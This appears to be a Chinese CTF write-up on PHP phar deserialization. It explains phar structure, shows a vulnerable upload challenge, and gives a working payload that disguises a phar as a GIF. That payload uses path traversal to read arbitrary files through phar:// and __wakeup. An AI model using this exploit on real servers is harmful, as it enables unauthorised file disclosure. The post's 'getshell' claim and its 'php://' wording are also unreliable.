phar反序列化

  1. 前言
  2. 一、phar反序列化
  3. 二、phar文件
    1. 1、构建phar
    2. 2、phar结构
    3. 3、一般构建phar文件模板
  4. 三、实例解析
  5. 参考链接

前言

今天做题遇到一道题———给出了源码,文件上传,只能上传图片,但是upload中存在一些魔术函数,是一道phar反序列化的题目,这里浅研究一下。

一、phar反序列化

上传一个phar后缀的文件,利用phar://伪协议读取phar文件时,会反序列化meta-data中存储信息。

说明:

  • 能上传文件到服务器。当上传文件检测无法上传phar后缀时,能否上传其余后缀能达到同意实现效果

  • 能使用phar://伪协议读取文件(我接触的这里应该是存在filename传参的,或者是file_exit等等函数(这点我暂时还没接触到))

  • 需要了解phar文件的组成,以及能够知道如何构建phar文件

  • 掌握反序列化的流程,能够得到想要的东西

二、phar文件

1、构建phar

  • 首先需要在php.ini配置文件中将phar.readonly设置成off
  • 然后在phar.readonly这行的前面将分号去掉
  • 然后编写php代码,构造好phar的组成部分,之后保存好phar文件

2、phar结构

(1)stub(存根)

判断这个文件是不是phar的标识,格式为xxx,前面的内容不限,但是必须以__HALT_COMPILER();>来结尾

(2)a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

(3)the file contents

被压缩的文件内容

(4)签名 signature (放在文件末尾)

3、一般构建phar文件模板

<?php

// 需要实现的反序列化的内容
class upload{

}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new upload();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

三、实例解析

(1)源代码

index.php

<?php
include("class.php");
if(isset($_GET['img_name'])){
    $down = new check_img();
    echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
    $up = new upload();
    echo $up->start();
}

upload.php

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

(2)题目分析

  • 程序首先会检测文件名,这里存在一个get传参文件名。判断文件名是否重复,这里显然可以使用phar://伪协议读取文件
  • 然后上传一个文件,首先检测文件的后缀,只能上传图片格式,然后移动文件至upload下。
  • 但是这里存在weakup函数,只要反序列化就会调用,而且是file_get_contents可以读取为文件,如果我们能控制这个filename,那么就可以实现任意文件的读取了。

(3)payload

先创建一个phar.phar文件,然后将其改为gif文件后上传,最后再访问img_name=php://phar.phar文件即可getshell

<?php
class upload
{
    public $filename = "../../../../../../../../../../../../flag";
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct()
    {
        $this->filename = "../../../../../../../../../../../../flag";
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }
}


$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new upload();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

分析一下这个phar文件

首先存在GIF89a的gif前缀,然后存在phar的标志,最后是存在反序列后的代码

image-20220920001025188

参考链接

(1)https://ho1aas.blog.csdn.net/article/details/120101090

(2)https://blog.csdn.net/qq_42181428/article/details/100995404


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏